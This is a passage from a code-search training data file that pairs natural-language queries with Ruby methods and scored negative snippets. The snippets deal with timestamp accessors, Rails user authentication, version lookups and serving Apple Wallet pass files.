"def last_seen_date_time\n return @last_seen_date_time\n end",
"def execute_time\n @next_time\n end",
"def last_refresh_time\n return @last_refresh_time\n end",
"def last_refresh\n @dt\n end",
"def last_refresh\n @dt\n end",
"def last_refresh\n @dt\n end",
"def last_updated_at\n @last_updated_at\n end",
"def last_modified\n @metadata[:last_modified] || Time.now.utc\n end",
"def timestamp\n self[:timestamp]\n end",
"def last_written_at\n entry = read(1).first\n entry.time if entry\n end",
"def last_written\n wtime = (@cred_struct[:last_written][:dw_high_date_time] << 32) +\n (@cred_struct[:last_written][:dw_low_date_time])\n Time.at((wtime - 116444736000000000) / 10000000)\n end",
"def timestamp\n _timestamp.as_time\n end",
"def last_seen_at() ; info_time(:last_seen) ; end",
"def last_reported_date_time\n return @last_reported_date_time\n end",
"def last_synchronize\n last_update\n end",
"def run_date_time\n return @run_date_time\n end",
"def time\r\n @time ||= @last_build_file.modification_time\r\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_seen_at\n @data[:last_seen_at]\n end",
"def last_modified\n stat.mtime\n end",
"def last_updated\n\t\tupdated_at\n\tend",
"def last_update() (last_answer = answers.last) ? last_answer.time_stamp : created_at end",
"def timestamp\n time = Time.now.getutc\n\n secs = time.to_i\n millis = time.nsec/1000000\n\n return @last if @millis == millis && @secs == secs\n\n unless secs == @secs\n @secs = secs\n @date = time.strftime('%Y-%m-%d %H:%M:%S.')\n end\n\n @millis = millis\n @last = @date + \"00#{millis}\"[-3..-1]\n end",
"def current_timestamp\n @c_tstamp ||= current_time.to_f\n end",
"def timestamp\n _timestamp.as_time\n end",
"def LastUpdateTime()\r\n ret = _getproperty(1610743810, [], [])\r\n @lastargs = WIN32OLE::ARGV\r\n ret\r\n end",
"def get_completion_time()\n return process_stamp(@end_time)\n end",
"def most_recent_time_stamp\n current_snapshot_person_tweets.maximum(:created_at)\n end",
"def last_sync_date_time\n return @last_sync_date_time\n end",
"def last_sync_date_time\n return @last_sync_date_time\n end",
"def latest_timestamp\n\n comment_vote = CommentVote.order(\"updated_at DESC\").all(:conditions => \"comment_id in (SELECT id FROM comments WHERE id = #{self.id})\").first\n comment_vote_timestamp = comment_vote ? comment_vote.updated_at : Time.at(0)\n\n [self.updated_at, comment_vote_timestamp].max { |a, b| a <=> b }\n end",
"def get_Timestamp()\n \t return @outputs[\"Timestamp\"]\n \tend",
"def get_Timestamp()\n \t return @outputs[\"Timestamp\"]\n \tend",
"def last_sync\n time_parser(self[:last_sync])\n end",
"def last_heartbeat_date_time\n return @last_heartbeat_date_time\n end",
"def last_heartbeat_date_time\n return @last_heartbeat_date_time\n end",
"def current_timestamp\n @c_tstmp ||= current_time.to_i\n end",
"def current_timestamp\n Time.now.to_i\n end",
"def latest_time(file_list)\n return Time.at(0) if file_list.empty?\n file_list.first.timestamp\n end",
"def LastUpdateTime()\r\n ret = @dispatch._getproperty(1610743810, [], [])\r\n @lastargs = WIN32OLE::ARGV\r\n ret\r\n end",
"def last_action_date_time\n return @last_action_date_time\n end",
"def remote_last_updated_at\n require 'rexml/document'\n doc = REXML::Document.new(request('update'))\n Time.iso8601(doc.root.attributes['time'])\n end",
"def current_time\r\n return @owner.timestamp.to_i - @start.to_i\r\n end",
"def build_timestamp\n @build_timestamp\n end",
"def last_used_at\n begin\n Time.parse(self.last_use_date)\n rescue\n nil\n end\n end",
"def master_last_seen_unix_timestamp()\n @master_last_seen_unix_timestamp ||= 0\n end",
"def last_time\n last = entries.order(Sequel.desc(:time)).first\n if last.nil?\n last_checked\n else\n last.time\n end\n end",
"def timestamp\n nil\n end",
"def last_timetable_datetime_with_zone\n TimetableFileInfo.last.last_modified\n end",
"def timestamp() @timestamp ||= Time.now.strftime(\"%Y%m%d%H%M%SZ\") end",
"def last_edited\n\t\tself.latest_update.to_date\n\tend",
"def timestamp\n first(:timestamp)\n end",
"def last_trade_time\n quote.last_trade_time\n end",
"def timestamp\n DateTime.now.strftime(\"%Y%m%d%H%M%S\")\n end",
"def last_modified_time\n mtime\n end"
] |
[
"0.7631196",
"0.76182085",
"0.7371142",
"0.7368897",
"0.73407173",
"0.73407173",
"0.73407173",
"0.73407173",
"0.73382807",
"0.73382807",
"0.73382807",
"0.73382807",
"0.7310912",
"0.72876424",
"0.7286505",
"0.72355133",
"0.72127116",
"0.71549094",
"0.71409637",
"0.71202177",
"0.71077675",
"0.7088085",
"0.70828974",
"0.7071541",
"0.7016243",
"0.7012636",
"0.7012636",
"0.6999246",
"0.69965214",
"0.6991788",
"0.69778264",
"0.69778264",
"0.69778264",
"0.69659966",
"0.69427323",
"0.69313717",
"0.69313717",
"0.69313717",
"0.6923805",
"0.6915747",
"0.68985164",
"0.6895918",
"0.68874",
"0.688681",
"0.6855464",
"0.68195367",
"0.68178076",
"0.68078125",
"0.67987376",
"0.67606294",
"0.6759242",
"0.6759242",
"0.6759242",
"0.6759242",
"0.6759242",
"0.6759242",
"0.6759242",
"0.6759242",
"0.6759242",
"0.6759242",
"0.6759242",
"0.6759242",
"0.6759242",
"0.6759242",
"0.6751071",
"0.674807",
"0.6738419",
"0.67383754",
"0.67380714",
"0.673795",
"0.6731601",
"0.6725067",
"0.6721306",
"0.67003244",
"0.66946393",
"0.66946393",
"0.6688515",
"0.6678369",
"0.6677887",
"0.66725415",
"0.66616184",
"0.66616184",
"0.66516894",
"0.66484654",
"0.6641666",
"0.66325104",
"0.66239613",
"0.66231185",
"0.66215557",
"0.66081065",
"0.6603022",
"0.65922564",
"0.6587983",
"0.65833664",
"0.6565102",
"0.6562501",
"0.65613836",
"0.6559917",
"0.65447146",
"0.6543601",
"0.65346843"
] |
0.0
|
-1
|
This method protected by webauth as configured in apache We should only get here after a user has succesfully authenticated
|
def webauth
user = EemsUser.load_from_session(session)
Rails.logger.info("Session user_id is: " << user.sunetid)
redirect_to params[:referrer]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def after_custom_authentication; end",
"def auth\n end",
"def auth\n end",
"def http_auth_login\n # FIXME: Implement\n end",
"def authenticate_user\n render_403 'Invalid user.' if @user.blank? || !@user.active?\n end",
"def ensure_authenticated_user\r\n head :unauthorized unless current_user\r\n end",
"def after_custom_authentication\n\n end",
"def user_authentication\n end",
"def capable_login_auth?; end",
"def authenticate_user!\n \tunless current_user?\n \trender status: :unauthorized\n \tend\n end",
"def authenticate\n CASClient::Frameworks::Rails::Filter.before(self)\n update_current_user(User.eager_load(*eager_loads).find_by(cas_directory_id: session[:cas_user]))\n\n return unless session[:cas_user] && !allow_access\n render(file: File.join(Rails.root, 'public/403.html'), status: :forbidden, layout: false)\n end",
"def authenticate_correct_user\n redirect_unauthorized unless current_user? @run.user_id\n end",
"def authenticate_user\n\t\trender_unauthorized unless current_user\n\tend",
"def force_auth\n\t\tlogger.debug \" Callback: force_auth\"\n\t\tsession[:last_ts] = nil\n\t\tCASClient::Frameworks::Rails::Filter.filter self unless @current_user\n\tend",
"def authenticate_user!\n redirect_to '/auth/sweetsuite' unless access_token && current_user\n end",
"def successful_authentication(user)\n set_brute_force_counter(user, 0)\n super\n end",
"def authenticate!\n # Do nothing yet\n end",
"def active_for_authentication?; end",
"def active_for_authentication?; end",
"def authentication_succeed(oidresp)\n end",
"def callback_phase\n @auth_token = get_auth_token(request.params[\"username\"], request.params[\"sid\"])\n @user_info = get_user_info(request.params[\"username\"], @auth_token)\n ap @user_info\n super\n rescue => ex\n fail!(\"Failed to retrieve user info from ebay\", ex)\n end",
"def authenticate\n unless session[:user_id]\n session['return_url'] = request.url\n logger.debug request.url\n # Recreate user abilities on each login\n @current_ability = nil\n redirect_to polymorphic_url(:new_user_session)\n end\n end",
"def user_authenticated\n redirect_to root_url, alert: 'You must be logged in to go here' unless current_user\n end",
"def authenticated?; super; end",
"def authenticate!\n\t #when we solve the require relative problem write the line: unless session[:user_id] && User.where(id: session[:user_id])\n\n\t\tif session[:user_id] && User.where(id: session[:user_id]).exists? #if the user id saved in session does not belong to any user, also direct to general homepage\n\t\t\ttrue\n\t\telse\n\t\t\tsession[:original_request] = request.path_info\n\t\t\tfalse\n\t\tend\nend",
"def authenticate_user!\n if request.headers['sid'].present? && !request.headers['sid'].nil? && request.headers['utoken'].present? && !request.headers['utoken'].nil?\n session = Session.active_sessions.find_by_id(request.headers['sid'])\n if session.nil? || session.utoken != request.headers['utoken']\n render_error_add :unauthorized, 'unauthorized' and return\n end\n else\n render_error_add :unauthorized, 'unauthorized' and return\n end\n end",
"def authenticate\n # puts _process_action_callbacks.map(&:filter)\n # if current_user\n # session['user_id'] = current_user.id\n # true\n # else\n # session[:return_to] = request.original_url\n # respond_to do |format|\n # format.html { redirect_to login_url }\n # format.any(:xml,:json) { request_http_basic_authentication }\n # end\n # false\n # end\n true\n end",
"def valid_for_authentication?; end",
"def valid_for_authentication?; end",
"def ensure_authenticated!\n # Block of code to apply extra auth check only for the private mode\n # of Decidim. 'normal' mode => does not apply checks.\n return if Rails.application.config.use_mode != \"private\"\n\n # Next stop: Let's check whether auth is ok\n unless user_signed_in?\n flash[:warning] = I18n.t(\"auth.sign_in_with_tunnistamo\")\n return redirect_to decidim.new_user_session_path\n end\n end",
"def authenticate_user!\n unless @current_user\n head :unauthorized\n end\n end",
"def authenticate\n authenticated_session || render_unauthorized\n end",
"def http_auth?; end",
"def authenticate_user!\n current_user.stamp! if current_user\n # return render(nothing: true, :status => :unauthorized) if !current_user\n render_error_messages(['Your session has been expired. Please authenticate again.'], :unauthorized) if !current_user\n render_error_messages(['Your account has been banned. Please contact to administrator.'], :unauthorized) if current_user && current_user.banned?\n end",
"def authenticate_user\n \tif !logged_in?\n \tredirect_to login_url\n \tend\n end",
"def after_token_authentication\n end",
"def after_token_authentication\n end",
"def authenticate_user\n if session[:user_id]\n # set current user object to @current_user object variable\n puts \"===============================================auth_if==============================================\"\n @current_user = User.find session[:user_id]\n return true\n else\n puts \"===============================================auth_else==============================================\"\n redirect_to(:controller => 'welcome', :action => 'index')\n return false\n end\n end",
"def login_required\n authenticate_user! \n end",
"def require_auth\n head :unauthorized unless current_user\n end",
"def authenticated_user\n\t \tauthenticated\n\t \terror!('401 Unauthorized', 401) unless current_user\n\t end",
"def authenticate_usr\n return true if authenticated_usr?\n session[:return_to] = request.request_uri\n access_denied\n return false\n end",
"def after_hash_token_authentication\n end",
"def authenticate\n \t\tlogged_in? || access_denied\n \tend",
"def custom_user_auth\n\t\t\tunless student_signed_in? || admin_signed_in?\n\t\t\t\tredirect_to root_path, notice: \"You have to sign in.\"\n\t\t\tend\n\t\tend",
"def require_auth\n\n # When no user is logged in, redirect the visitor to the login page\n if @user.nil?\n respond_to do |format|\n format.html { redirect_to :controller => :auth, :action => :login }\n end\n end\n\n end",
"def authenticate\n authenticate_or_request_with_http_basic(\"myTaskboard Login\") do |email, password|\n user = User.where(email: email, password: password).first rescue nil\n redirect_to controller: :login, action: :index, status: 403 and return if user.nil?\n\n session[:current_user_id] = user.id #rescue nil\n end\n end",
"def autenticate_user\n auth_token = request.headers[:HTTP_AUTH_TOKEN] #auth_token in header\n return render_message ({status:ERR_STATUS, responseMessage: \"Sorry! You are not an authenticated user.\",responseCode: ERROR}) unless auth_token\n @user = User.find_by(auth_token: auth_token)\n unless @user\n return render_message({status:ERR_STATUS,responseMessage: UNAUTHORIZED_MESSAGE,responseCode: UNAUTHORIZED})\n end\n end",
"def callback_phase\n ym_session_id = env['rack.session'][RACK_SESSION_KEY]\n fail!(E_YM_SESSION_ID_BLANK) if ym_session_id.blank?\n ym_session = YourMembership::Session.new(ym_session_id, 100)\n\n begin\n fail! 'Failed To Log In' unless ym_session.authenticated?\n rescue YourMembership::Error => e\n fail! e.error_description\n end\n\n @user_id = ym_session.user_id\n @access_token = ym_session.to_s\n\n super\n end",
"def authenticate\n\t\t\tlogged_in? ? true : access_denied\n\t\tend",
"def after_crowd_authentication\n end",
"def unauthenticated\n end",
"def authorize\n\t if session[:user_id].nil?\n\t\t session[:original_uri] = request.request_uri\n\t\t redirect_to(login_path)\n\t\t flash[:notice] = \"Please login or sign up to access The Mashera Project!\"\n\t end\n end",
"def require_login\n end",
"def authenticate_user!\n # check for API/signed requests\n if request.headers.env[\"HTTP_AUTHORIZATION\"] || request.headers.env[\"Authorization\"] then\n agent = Agent.where(:access_key => ApiAuth.access_id(request)).first\n begin\n if not(agent and ApiAuth.authentic?(request, agent.secret_key)) then\n return render :text => Bixby::JsonResponse.new(\"fail\", \"authentication failed\", nil, 401).to_json, :status => 401\n end\n rescue ApiAuth::ApiAuthError => ex\n return render :text => Bixby::JsonResponse.new(\"fail\", ex.message, nil, 401).to_json, :status => 401\n end\n @current_user = agent # TODO hrm.. hack much?\n return false\n end\n\n # authenticate a request from a browser session\n super\n end",
"def authenticate!\n error!(\"401 Unauthorized\", 401) unless check_auth_token \n end",
"def auth_process\n\t\tif @auth_file.authorization.nil?\n \t\t\tmake_auth\n\t\telse\n\t\t\t@client.authorization = @auth_file.authorization\n\t\tend\n\tend",
"def is_authenticated?\n end",
"def after_database_authentication; end",
"def successfully_authenticated\n unless self.ok == true\n self.errors.add(:ok, \"Response must include ok true!\")\n end\n end",
"def ensure_authenticated_user\n puts \"#{!is_report_request}\"\n if !is_report_request\n head :unauthorized unless current_user\n end\n #head :unauthorized unless current_user\n end",
"def authenticate_user!\n unless current_user?\n render status: :unauthorized\n end\n end",
"def authenticate\n end",
"def after_magic_link_authentication\n end",
"def authenticate\n\tlogged_in? ? true : access_denied \n end",
"def authenticate\n\t\tdeny_access unless signed_in?\n\tend",
"def authenticate_user\n redirect_to \"/login\" unless logged_in?\n end",
"def auth(value); end",
"def callback\n @user = User.find_by_hash(auth_hash)\n if @user\n login(@user)\n redirect_to \"/\" and return\n else\n # We store the authorization so that the user cannot modify\n # the provider/uid details in the form\n @authorization = Authorization.create_from_hash(auth_hash)\n session[:auth_id] = @authorization.id\n @user = User.new_from_hash(auth_hash)\n end\n end",
"def auth_user\n redirect_to new_user_session_url unless user_signed_in?\n end",
"def auth\n #redirect to login page unless already logged in\n redirect_to new_user_session_path, alert: \"You must login to access that page\" unless logged_in?\n end",
"def authorization; end",
"def authorize\n \t\t#teste http://localhost:3000/products/2/who_bought.atom\n \t\t#ou curl --silent --user dave:secret http://localhost:3000/products/2/who_bought.atom \n \t\treturn if User.count.zero?\n\n \t\tif request.format == Mime[:html]\n \t\t\tuser = User.find_by(id: session[:user_id])\n \t\telse\n \t\t\tuser = authenticate_or_request_with_http_basic do |u,p|\n \t\t\t\tUser.find_by_name(u).try(:authenticate, p)\n \t\t\tend\n \t\tend\n\n \t\tredirect_to login_url, notice: \"Please log in\" unless user\n \t\t\n \tend",
"def client_redirect_auth\n\t\t# Since the :restrict_access method is called whenever this method is called, that will take care of unauthenticated users (will return a 404 before this method is even run)\n\t\tapi_key = ApiKey.find_by_access_token(params[:access_token])\n\t\tusr = User.find(api_key.user_id)\n\t\trole = usr.role\n\t\ttimeUntilExp = ''\n\n\t\tmsg = \"UNAUTHORIZED\"\n\t\tif params[:authorize]\n\t\t\tif params[:role] == usr.role\n\t\t\t\t# Roles match and user is authorized\n\t\t\t\tmsg = \"AUTHORIZED\"\n\t\t\tend\n\t\telse\n\t\t\t# User is authenticated (logged in) but is not authorized\n\t\t\tmsg = \"AUTHENTICATED\"\n\t\tend\n\n\t\tif api_key\n\t\t\tputs \"WHY DOESNT THIS WORK? #{distance_of_time_in_words(Time.now, api_key.expires_at)}\"\n\t\t\tputs \"SECONDS #{((api_key.expires_at - Time.now).seconds).round}\"\n\t\t\ttimeUntilExp = ((api_key.expires_at - Time.now).seconds).round\n\t\tend\n\t\trespond_to do |format|\n \t\tformat.json { render :json => { :msg => msg, :role => role, :timeUntilExp => timeUntilExp } } \t\t\n \t\tend\n\tend",
"def require_auth(user)\n return head(:forbidden) unless current_user == user.account\n end",
"def authenticate!\n not_authorized() unless logged_in?()\n end",
"def authenticate\n \tlogged_in? ? true : access_denied\n end",
"def authorized\n redirect_to '/signin' unless current_driver\n end",
"def authorize_user\r\n unless session[:user_id]\r\n session[:original_uri] = request.request_uri\r\n flash[:notice] = Resource.get(\"user_not_authorized_wo_login\")\r\n redirect_to(:controller => \"welcome\", :action => \"signin\")\r\n end\r\n end",
"def authenticate_and_load_user\n \t@logged_in_user = User.where(id:session[:user_id]).first\n\n \tif @logged_in_user.nil?\n \t\tflash[:error] = 'You must be authenticated to visit this page'\n \t\t# Save the user's intended destination in the session, so we can\n \t\t# take them there once they've logged in.\n \t\tsession[:requested_fullpath] = request.fullpath\n \t\tredirect_to controller:'public', action:'login'\n \t\tfalse # return false to prevent execution of controller methods\n \telse\n \t\ttrue\n \tend\n end",
"def require_authenticated_user\n return if authenticate_or_request_with_http_basic do |ident_string, secret_string|\n ident_string == 'karl' && secret_string.to_s.crypt(ident_string)\n end\n render :text => \"You must be logged in to view this site\", :layout => false, :status => status\n end",
"def authorized_user!\n unless user_logged_in?\n redirect_to root_path\n end\n end",
"def authenticate_user\n if Rails.env.production?\n authenticate_or_request_with_http_basic do |username, password|\n username == \"admin\" && password == Wordpressed.password\n end\n end\n #warden.custom_failure! if performed?\n end",
"def authenticate\n if @current_user\n else\n redirect_to login_url\n end\n end",
"def authenticate\n if sesssion[:user_id].nil?\n redirect_to login_path, notice: \"You must log in first.\"\n end\n end",
"def authenticate\n logged_in? || access_denied\n end",
"def ensure_auth # rubocop:disable Metrics/AbcSize, Metrics/MethodLength\n if session[:prospect_params]\n # we have an application going so we've probably just refreshed the\n # screen\n redirect_to action: 'new', controller: 'prospects'\n elsif session[:cas].nil? || session[:cas][:user].nil?\n render status: :unauthorized, plain: 'Redirecting to SSO...'\n else\n user = User.find_by cas_directory_id: session[:cas][:user]\n if user.nil?\n render status: :forbidden, plain: 'Unrecognized user'\n else\n update_current_user(user)\n end\n end\n nil\n end",
"def authenticate\n redirect_to '/login' unless current_user\n end",
"def authenticate\n deny_access unless loged_in?\n end",
"def authenticate\n unauthorized unless current_user\n end",
"def successful_login!\n unthrottle_user\n clear_bad_login_counter\n end",
"def handle_create_html_response\n if @authenticated\n redirect_to root_url\n else\n flash[:error] = \"Invalid Login. Please try again.\"\n redirect_to cz_auth.new_resource_session_url\n end\n end",
"def valid_for_http_auth?; end",
"def access_control\n \n end",
"def respond\n if http_auth?\n http_auth\n else\n redirect\n end\n end",
"def respond\n if http_auth?\n http_auth\n else\n redirect\n end\n end",
"def authenticate_once_state\n super\n end",
"def auth_user\n if !current_user\n redirect_to root_url\n end\n end",
"def auth_user\n if !current_user\n redirect_to root_url\n end\n end",
"def auth_user\n if !current_user\n redirect_to root_url\n end\n end",
"def authorized_user\n unless logged_in?\n store_location\n redirect_to root_url\n flash[:info] = \"You must be logged in to access.\"\n end\n end"
] |
[
"0.7236334",
"0.7130012",
"0.7130012",
"0.7083641",
"0.7081848",
"0.6957926",
"0.6937513",
"0.6937438",
"0.6927555",
"0.6908858",
"0.68438727",
"0.68430203",
"0.68402255",
"0.68375343",
"0.68286216",
"0.68250597",
"0.6818265",
"0.6799846",
"0.6799846",
"0.6795586",
"0.67638236",
"0.6754294",
"0.675338",
"0.6746645",
"0.673473",
"0.67305565",
"0.6726722",
"0.67138946",
"0.67138946",
"0.67089254",
"0.67081946",
"0.6701322",
"0.669643",
"0.6686347",
"0.6685868",
"0.6673756",
"0.6673756",
"0.6672214",
"0.6661985",
"0.66619706",
"0.66578096",
"0.6652767",
"0.66440016",
"0.6642144",
"0.6632679",
"0.6626917",
"0.66265494",
"0.6614724",
"0.66111547",
"0.6607357",
"0.6599454",
"0.659766",
"0.6592678",
"0.65866864",
"0.6578177",
"0.6568383",
"0.65674096",
"0.6565884",
"0.6563623",
"0.6557074",
"0.65526646",
"0.65493894",
"0.65478116",
"0.65453845",
"0.65292305",
"0.65265965",
"0.6523807",
"0.6519585",
"0.6517518",
"0.65135765",
"0.6513147",
"0.6512531",
"0.6509007",
"0.65072703",
"0.6505701",
"0.65001404",
"0.64972943",
"0.64895016",
"0.64752734",
"0.6474718",
"0.6474353",
"0.64737076",
"0.6473187",
"0.64714676",
"0.6466185",
"0.6465289",
"0.64646465",
"0.64631623",
"0.6458209",
"0.64541405",
"0.6447239",
"0.64463705",
"0.64418113",
"0.6438064",
"0.6437914",
"0.6437914",
"0.6436682",
"0.64317685",
"0.64317685",
"0.64317685",
"0.6426803"
] |
0.0
|
-1
|
Get the latest version of a pass.
|
def show
@pass = Passbook::Pass.where(pass_type_identifier: params[:pass_type_identifier], serial_number: params[:serial_number]).first
head :not_found and return if @pass.nil?
head :unauthorized and return if request.env['HTTP_AUTHORIZATION'] != "ApplePass #{@pass.authentication_token}"
# suck in example data for now, can be provided by the DB entry later if we want
passJSONPath = "#{Rails.root}/passbook/pass.json"
passJSONPath = "#{Rails.root}/passbook/pass2.json" if @pass.which == '2'
passJSONPath = "#{Rails.root}/passbook/pass3.json" if @pass.which == '3'
# read in the JSON from the file
passJSON = File.read(passJSONPath)
passFile = PB::PKPass.new passJSON
passFile.addFiles [
"#{Rails.root}/passbook/icon.png",
"#{Rails.root}/passbook/icon@2x.png",
"#{Rails.root}/passbook/logo.png",
"#{Rails.root}/passbook/logo@2x.png"
]
pkpass = passFile.file
if stale?(last_modified: @pass.updated_at.utc)
send_file pkpass.path, type: 'application/vnd.apple.pkpass', disposition: 'attachment', filename: "pass.pkpass"
else
head :not_modified
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_latest_version(opts)\n raise NotImplementedError\n end",
"def latest_version\n self.versions.order(\"revision_date DESC\").first\n end",
"def latest_version\n\t\treturn versions.order(\"number DESC\").last\n\tend",
"def latest_version\n @latest_version ||= with_cache(file_name) { normalize_version(Network.get_url(\"#{base_url}/latest\")[/[^v]*$/]) }\n end",
"def latest\n output = aurget \"-Si\", @resource[:name]\n\n if output =~ /Version\\s+:\\s+(\\S+)$/\n return $1\n else\n self.err \"Could not find latest version\"\n return nil\n end\n end",
"def latest_version\n self.class::Versions.max {|a, b| Ajaxlibs::VersionsTools.compare a, b}\n end",
"def get_latest_revision\n @current_revision\n end",
"def latest_version(module_name)\n versions(module_name).last\n end",
"def latest\n output = aptcache :policy, @resource[:name]\n\n if output =~ /Candidate:\\s+(\\S+)\\s/\n return $1\n else\n self.err \"Could not find latest version\"\n return nil\n end\n end",
"def latest_version\n versions.reverse_each.detect do | version|\n version_dir = SERVER_TOP_DIR + \"r#{version}\"\n path = Pathname.new(\"bin.tools\") + @s.p4ruby.basename\n if remote_file_exists?(version_dir, path)\n puts \"Found latest version: #{version}\"\n return version\n end\n end\n LAST_VALID_VERSION\n end",
"def last_installed_version\n Discourse.redis.get last_installed_version_key\n end",
"def latest_version\n link = data.xpath(\"at:link[@rel = 'current-version']/@href\", NS::COMBINED)\n if link.first\n entry = conn.get_atom_entry(link.first.text)\n self_or_new(entry)\n else\n # FIXME: should somehow return the current version even for opencmis\n self\n end\n end",
"def newest_version\n detect_newest_version if @newest_version == UnknownVersion\n\n @newest_version\n end",
"def latest_matching(dep)\n version = latest_version_matching(dep)\n raise RuntimeError, \"no version found\" if version.nil?\n retrieve dep.name, version\n end",
"def current_version\n find( :first, :order => 'number DESC' )\n end",
"def latest_version\n (Release.where(:manifest_id => manifest_id).max(:version) || 0)\n end",
"def latest_version(name)\n return JSON.parse(open(\"http://rubygems.org/api/v1/gems/#{name}.json\").read)['version']\n end",
"def get_version\n request('getVersion')\n end",
"def latest_version\n @latest_version ||= with_cache(file_name) { downloads.keys.max }\n end",
"def version\n return last_version if versionable?\n version_number\n end",
"def latest\n output = npm_exec \"view #{@resource[:name]} versions\"\n output.split(/[^\\d\\.]+/).last\n end",
"def get_latest_revision\n raise NotImplementedError\n end",
"def latest\n version = nil\n pkg(:list, \"-Ha\", @resource[:name]).each_line do |line|\n v = self.class.parse_line(line.chomp)[:status]\n case v\n when \"known\"\n return v\n when \"installed\"\n version = v\n when \"i--\"\n version = self.class.parse_line(line.chomp)[:version]\n else\n Puppet.warn \"unknown package state for #{@resource[:name]}: #{v}\"\n end\n end\n version\n end",
"def latest\n version = nil\n pkg(:list, \"-Ha\", @resource[:name]).each_line do |line|\n v = parse_line(line.chomp)[:status]\n case v\n when \"known\"\n return v\n when \"installed\"\n version = v\n else\n Puppet.warn \"unknown package state for #{@resource[:name]}: #{v}\"\n end\n end\n version\n end",
"def latest_alchemy_version\n versions = get_alchemy_versions\n return \"\" if versions.blank?\n\n # reject any non release version\n versions.reject! { |v| v =~ /[a-z]/ }\n versions.max\n end",
"def version\n exec('--version').match(/^Ledger (.*),/)[1]\n end",
"def latest\n #zypper can only get a list of *all* available packages?\n output = zypper \"list-updates\"\n\n if output =~ /#{Regexp.escape @resource[:name]}\\s*\\|.*?\\|\\s*([^\\s\\|]+)/\n return $1\n else\n # zypper didn't find updates, pretend the current\n # version is the latest\n return @property_hash[:ensure]\n end\n end",
"def version(arg = nil)\n set_or_return(:version, arg, kind_of: String, default: 'latest')\n end",
"def version(arg = nil)\n set_or_return(:version, arg, kind_of: String, default: 'latest')\n end",
"def get_version_build\n version = self.peers_version\n if version[\"success\"]\n return version[\"build\"]\n else\n return nil\n end\n end",
"def last_version\n return 0 if versions.count == 0\n versions.first.version_number\n end",
"def latest_version\n files.last && files.last.versionnumber\n end",
"def latest\n yaourt('-Sy')\n\n return yaourt('-Sp', '--print-format %v', @resource[:name]).chomp\n end",
"def last_version\n @last_version ||= versions.maximum(:number) || 1\n end",
"def _fetch_version(key)\r\n\t\tversioned = get(key)\r\n\t\tif versioned.length > 0\r\n version = versioned[0][1]\r\n else\r\n begin\r\n version = VectorClock.new\r\n\t\t\tversion.timestamp = Time.new.to_i * 1000\r\n end\r\n end\r\n\t\treturn version\r\n end",
"def last_revision\n get_revision('REVISION')\n end",
"def get_latest_version(opts)\n doc = fetch_doc('https://en.cppreference.com/w/Cppreference:Archives', opts)\n link = doc.at_css('a[title^=\"File:\"]')\n date = link.content.scan(/(\\d+)\\./)[0][0]\n DateTime.strptime(date, '%Y%m%d').to_time.to_i\n end",
"def latest_or_version(version_id)\n version = Version.where(id: version_id).first || self.latest_version\n end",
"def current_version\n versions.first\n end",
"def current_version\n version_number rev\n end",
"def get_latest_build()\n log = Logger.new(\"error-log.txt\")\n log.debug(\"Determining the version of the latest build\")\n ctk_query = `de query \"SELECT MAX(Build) FROM tasks;\"`\n log.debug(\"result of de query is #{ctk_query}\")\n latest_build = /(\\d)*/.match(ctk_query)\n log.debug(\"The latest build is #{latest_build}\")\n return latest_build[0].to_i\nend",
"def latest_published_version\n\t\tpub_vers = versions.where('published = ?', true).order('updated_at DESC')\n if pub_vers.any?() then\n return pub_vers.first\n else\n return nil\n end\n\tend",
"def full\n @version\n end",
"def latest\n #rug can only get a list of *all* available packages?\n output = rug \"list-updates\"\n\n if output =~ /#{Regexp.escape @resource[:name]}\\s*\\|\\s*([^\\s\\|]+)/\n return $1\n else\n # rug didn't find updates, pretend the current\n # version is the latest\n return @property_hash[:ensure]\n end\n end",
"def retrieve_latest(name)\n client.url = \"https://rubygems.org/api/v1/gems/#{name}.json\"\n client.http_get\n spec = client.body_str\n gem = parse spec\n gem\n end",
"def get_version!(version)\n version.gsub!('_', '.')\n\n if version == 'latest'\n latest_extension_version\n else\n extension_versions.find_by!(version: version)\n end\n end",
"def latest_version(gem_name, pre: false)\n return versions(gem_name).first if pre\n versions(gem_name).find { |version| !version.prerelease? }\n end",
"def version\n self.class.get(\"/get/version\")\n end",
"def latest_version_of(name)\n remote_versions_for(name).collect { |v| ::Gem::Version.new v }.max.to_s\n end",
"def version\n\t\treturn @version ||= self.find_version\n\tend",
"def get_version!(version)\n version.gsub!(/_/, '.')\n\n if version == 'latest'\n cookbook_versions.first!\n else\n cookbook_versions.find_by!(version: version)\n end\n end",
"def _fetch_latest_version(base_id)\n cur = @dbh.query(\"SELECT VERSION FROM MATRIX WHERE BASE_ID='#{base_id}'\" \\\n \" ORDER BY VERSION DESC LIMIT 1\")\n row = cur.first\n\n latest = nil\n if row\n latest = row[\"VERSION\"]\n else\n warn(\"Failed to fetch latest version number for JASPAR motif with\" \\\n \" base ID #{base_id}. No JASPAR motif with this base ID\" \\\n \" appears to exist in the databse.\")\n end\n\n return latest\n end",
"def get_version\n\t\tend",
"def latest\n releases.first\n end",
"def version\n api_execute('/version', :get).body\n end",
"def latest\n revisions.latest\n end",
"def get_latest_release(project, bin)\n api_url = \"https://api.github.com/repos/#{project}/releases/latest\"\n data = URI.parse(api_url).read\n obj = JSON.parse(data)\n version = obj[\"name\"]\n sha_url = \"https://github.com/#{project}/releases/download/#{version}/#{bin}.sha256\"\n sha = URI.parse(sha_url).read\n url = \"https://github.com/#{project}/releases/download/#{version}/#{bin}\"\n sha256 = sha.split(\" \").first\n\n return url, sha256, version\nend",
"def most_recent_version\n card_versions.detect { |card_version| card_version.version == latest_version }\n end",
